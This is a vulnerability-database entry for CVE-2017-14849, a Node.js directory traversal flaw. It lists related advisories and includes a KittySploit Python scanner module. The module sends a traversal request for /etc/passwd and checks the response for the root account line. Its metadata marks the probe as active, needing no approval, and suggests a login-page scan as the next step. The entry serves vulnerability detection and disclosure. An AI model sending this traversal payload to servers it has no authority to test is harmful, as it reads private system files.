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Node.js <8.6.0 - Directory Traversal Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
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Remote attackers can access unintended files in Node.js via directory traversal.

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freebsd
FreeBSD
node -- access to unintended files
27 Sep 201700:00
–freebsd
cnvd
CNVD
Joyent Node.js Unauthorized Access Vulnerability
28 Sep 201700:00
–cnvd
cve
CVE
CVE-2017-14849
28 Sep 201700:00
–cve
cvelist
Cvelist
CVE-2017-14849
28 Sep 201700:00
–cvelist
debiancve
Debian CVE
CVE-2017-14849
28 Sep 201700:00
–debiancve
dsquare
Dsquare
Node.js 8.5.0 Path Traversal File Disclosure
2 Jul 201800:00
–dsquare
nessus
Tenable Nessus
FreeBSD : node -- access to unintended files (1257718e-be97-458a-9744-d938b592db42)
11 Oct 201700:00
–nessus
nessus
Tenable Nessus
Node.js 8.5.x < 8.6.0 Path Traversal
11 Mar 202100:00
–nessus
mend
Mend
CVE-2017-14849
28 Sep 201700:00
–mend
nodejsblog
Node JS Blog
Path validation vulnerability, September 2017
29 Sep 201700:00
–nodejsblog
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Node."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'Node.js <8.6.0 - Directory Traversal Detection',
        'description': 'Node.js before 8.6.0 allows remote attackers to access unintended files because a change to ".." handling is incompatible with the pathname validation used by unspecified community modules.',
        'author': ['KittySploit Team'],
        'severity': 'high',
        'tags': ['web', 'scanner', 'cve', 'cve2017', 'nodejs', 'lfi', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://twitter.com/nodejs/status/913131152868876288',
            'https://nodejs.org/en/blog/vulnerability/september-2017-path-validation/',
            'https://nvd.nist.gov/vuln/detail/CVE-2017-14849',
            'https://github.com/ARPSyndicate/kenzer-templates',
            'https://github.com/Elsfa7-110/kenzer-templates',
        ],
        'cve': 'CVE-2017-14849',
    }

    def run(self):
        r = self.http_request(method="GET", path='/static/../../../a/../../../../etc/passwd', allow_redirects=False)
        if not r or r.status_code != 200:
            return False
        body = r.text or ""
        body_regexes = ('root:.*:0:0:',)
        if (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='high',
                reason="Node.js <8.6.0 - Directory Traversal detected",
                path='/static/../../../a/../../../../etc/passwd',
            )
            return True
        return False

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28 Jul 2026 11:27Current
7.5High risk
Vulners AI Score7.5
CVSS 25
CVSS 37.5
EPSS0.54389
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